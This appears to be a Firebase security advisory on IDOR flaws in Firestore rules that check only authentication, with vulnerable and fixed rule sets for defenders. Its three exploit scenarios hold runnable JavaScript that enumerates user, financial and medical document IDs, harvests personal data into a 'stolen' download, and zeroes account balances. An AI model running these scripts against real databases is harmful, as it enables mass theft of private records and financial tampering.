Skip to content

Firebase Security Vulnerability: FBR-ACCESS-004

Name: Firestore Overly Permissive Indirect Object Access (IDOR) Vulnerability

Applicable Services: Cloud Firestore, Firebase Realtime Database

Description

Technical Vulnerability Overview

The Technical Flaw: Security rules that only validate user authentication (request.auth != null) without checking resource ownership or specific authorization create Indirect Object Reference (IDOR) vulnerabilities. The rules confirm someone is logged in but don't verify if that user should access the specific resource.

Intended Behavior: Firebase security rules should implement both authentication (is someone logged in?) and authorization (is this specific user allowed to access this specific resource?). Each resource access should validate ownership or explicit permissions.

The Risk: Any authenticated user can access or modify data belonging to other users by manipulating document IDs, particularly when IDs are predictable, sequential, or enumerable, leading to systematic data harvesting and privacy violations.

Impact

Potential Consequences

This vulnerability can lead to severe data breaches and privacy violations:

  • Complete Data Exfiltration: Attackers can systematically harvest all user data by iterating through predictable document IDs
  • Privacy Violations: Unauthorized access to personal information, private messages, or sensitive user content
  • Data Manipulation: Malicious modification or deletion of other users' documents and settings
  • Account Takeover: Access to user profiles may reveal password reset tokens or other sensitive authentication data
  • Business Intelligence Theft: Unauthorized access to user analytics, behavior patterns, or proprietary data
  • Compliance Violations: Breach of data protection regulations like GDPR, CCPA, or HIPAA due to inadequate access controls

Example Attack Scenarios

Exploit Scenario: User Profile Data Enumeration Attack

The Vulnerable Rule:

match /users/{userId} {
  allow read, write: if request.auth != null;
}

Attacker's Goal: To systematically harvest personal data from all user profiles in the application.

The Exploit: An authenticated attacker enumerates through user IDs to access all profiles:

// Attacker is logged in as 'attacker-123'
const harvestedData = [];

// Systematic enumeration of user profiles
for (let i = 1; i <= 10000; i++) {
  try {
    // Access other users' profiles by manipulating document ID
    const userProfile = await db.collection('users').doc(`user-${i}`).get();

    if (userProfile.exists) {
      const userData = userProfile.data();
      harvestedData.push({
        userId: `user-${i}`,
        email: userData.email,
        phone: userData.phone,
        address: userData.address,
        paymentMethods: userData.paymentMethods,
        personalInfo: userData
      });

      console.log(`Harvested data for user-${i}:`, userData);
    }
  } catch (error) {
    // Continue to next user ID
    continue;
  }
}

console.log(`Successfully harvested ${harvestedData.length} user profiles`);

// Export stolen data
const dataBlob = new Blob([JSON.stringify(harvestedData, null, 2)], 
                         { type: 'application/json' });
const url = URL.createObjectURL(dataBlob);
const a = document.createElement('a');
a.href = url;
a.download = 'stolen_user_data.json';
a.click();

Outcome: The attacker successfully downloads a comprehensive database of all user personal information, including emails, phone numbers, addresses, and payment methods.

Exploit Scenario: Financial Document Access and Manipulation

The Vulnerable Rule:

match /financial_documents/{docId} {
  allow read, write: if request.auth != null;
}

Attacker's Goal: To access and modify other users' financial documents and transaction records.

The Exploit: An attacker accesses and manipulates financial records:

// Target specific high-value users or iterate through document IDs
const targetUsers = ['wealthy-user-456', 'business-account-789', 'premium-user-321'];

for (const userId of targetUsers) {
  try {
    // Access financial documents
    const financialDocs = await db.collection('financial_documents')
                               .where('userId', '==', userId)
                               .get();

    financialDocs.forEach(async (doc) => {
      const docData = doc.data();
      console.log(`Accessed financial doc: ${doc.id}`, docData);

      // Malicious modification of financial records
      if (docData.accountBalance > 10000) {
        await db.collection('financial_documents').doc(doc.id).update({
          accountBalance: 0,
          lastModified: new Date(),
          modifiedBy: 'attacker-123',
          notes: 'Account compromised'
        });

        console.log(`Modified account ${userId}, drained balance: $${docData.accountBalance}`);
      }
    });

  } catch (error) {
    console.error(`Failed to access ${userId}:`, error);
  }
}

Outcome: The attacker accesses sensitive financial information and maliciously modifies account balances, causing financial damage and data corruption.

Exploit Scenario: Medical Records Privacy Breach

The Vulnerable Rule:

match /medical_records/{recordId} {
  allow read: if request.auth != null;
}

Attacker's Goal: To access confidential medical records for identity theft or blackmail purposes.

The Exploit: An attacker harvests medical data using predictable record IDs:

// Medical record IDs often follow predictable patterns
const medicalData = [];
const currentYear = new Date().getFullYear();

// Iterate through likely medical record ID patterns
for (let year = currentYear - 5; year <= currentYear; year++) {
  for (let month = 1; month <= 12; month++) {
    for (let day = 1; day <= 31; day++) {
      for (let sequence = 1; sequence <= 100; sequence++) {
        const recordId = `MR-${year}${month.toString().padStart(2, '0')}${day.toString().padStart(2, '0')}-${sequence.toString().padStart(3, '0')}`;

        try {
          const record = await db.collection('medical_records').doc(recordId).get();

          if (record.exists) {
            const data = record.data();
            medicalData.push({
              recordId: recordId,
              patientName: data.patientName,
              ssn: data.socialSecurityNumber,
              diagnosis: data.diagnosis,
              medications: data.medications,
              insurance: data.insuranceInfo
            });

            console.log(`Accessed medical record: ${recordId}`, data);
          }
        } catch (error) {
          // Continue scanning
          continue;
        }
      }
    }
  }
}

console.log(`Harvested ${medicalData.length} medical records`);

Outcome: The attacker obtains sensitive medical information including diagnoses, medications, and insurance details, which can be used for identity theft or sold on dark web markets.

Mitigation

The vulnerability is resolved by implementing proper authorization checks that validate user ownership or explicit permissions before granting access.

rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    // VULNERABLE: Only checks authentication, not authorization
    match /users/{userId} {
      allow read, write: if request.auth != null;
    }

    // VULNERABLE: Any authenticated user can access any financial document
    match /financial_documents/{docId} {
      allow read, write: if request.auth != null;
    }

    // VULNERABLE: Medical records accessible to any authenticated user
    match /medical_records/{recordId} {
      allow read: if request.auth != null;
    }

    // VULNERABLE: Orders accessible without ownership validation
    match /orders/{orderId} {
      allow read, write: if request.auth != null;
    }
  }
}
rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    // SECURE: Users can only access their own profile
    match /users/{userId} {
      allow read, write: if request.auth != null && request.auth.uid == userId;
    }

    // SECURE: Financial documents with ownership validation
    match /financial_documents/{docId} {
      allow read: if request.auth != null && 
                 resource.data.ownerId == request.auth.uid;
      allow write: if request.auth != null && 
                  request.resource.data.ownerId == request.auth.uid;
    }

    // SECURE: Medical records with patient ownership validation
    match /medical_records/{recordId} {
      allow read: if request.auth != null && 
                 (resource.data.patientId == request.auth.uid ||
                  resource.data.authorizedProviders != null &&
                  request.auth.uid in resource.data.authorizedProviders);
    }

    // SECURE: Orders with multiple validation patterns
    match /orders/{orderId} {
      // Path-based ownership validation
      allow read, write: if request.auth != null && 
                        resource.data.customerId == request.auth.uid;

      // Admin access for order management
      allow read, write: if request.auth != null && 
                        request.auth.token.role == 'admin';
    }

    // SECURE: Shared documents with explicit permission lists
    match /shared_documents/{docId} {
      allow read: if request.auth != null && 
                 (resource.data.ownerId == request.auth.uid ||
                  resource.data.sharedWith != null &&
                  request.auth.uid in resource.data.sharedWith);

      allow write: if request.auth != null && 
                  resource.data.ownerId == request.auth.uid;
    }
  }
}

Authorization Security Best Practices

User ID Path Validation: The most secure pattern is comparing request.auth.uid with the user ID in the document path: request.auth.uid == userId.

Resource Ownership Fields: For collections where the path doesn't contain the user ID, validate ownership through document fields: resource.data.ownerId == request.auth.uid.

Multiple Authorization Patterns: - Direct Ownership: User owns the resource directly - Shared Access: User is in an explicit sharing list - Role-Based Access: User has admin or special role permissions - Hierarchical Access: User owns a parent resource that grants access

Security Implementation Guidelines: - Principle of Least Privilege: Grant minimal necessary access - Defense in Depth: Combine multiple validation checks where appropriate - Audit Logging: Log access attempts for security monitoring - Non-Predictable IDs: Use Firebase auto-generated IDs instead of sequential patterns

Testing Your Rules:

// Test access control in Firebase Rules Simulator
// Verify unauthorized users cannot access others' data
// Test with different user roles and ownership scenarios

References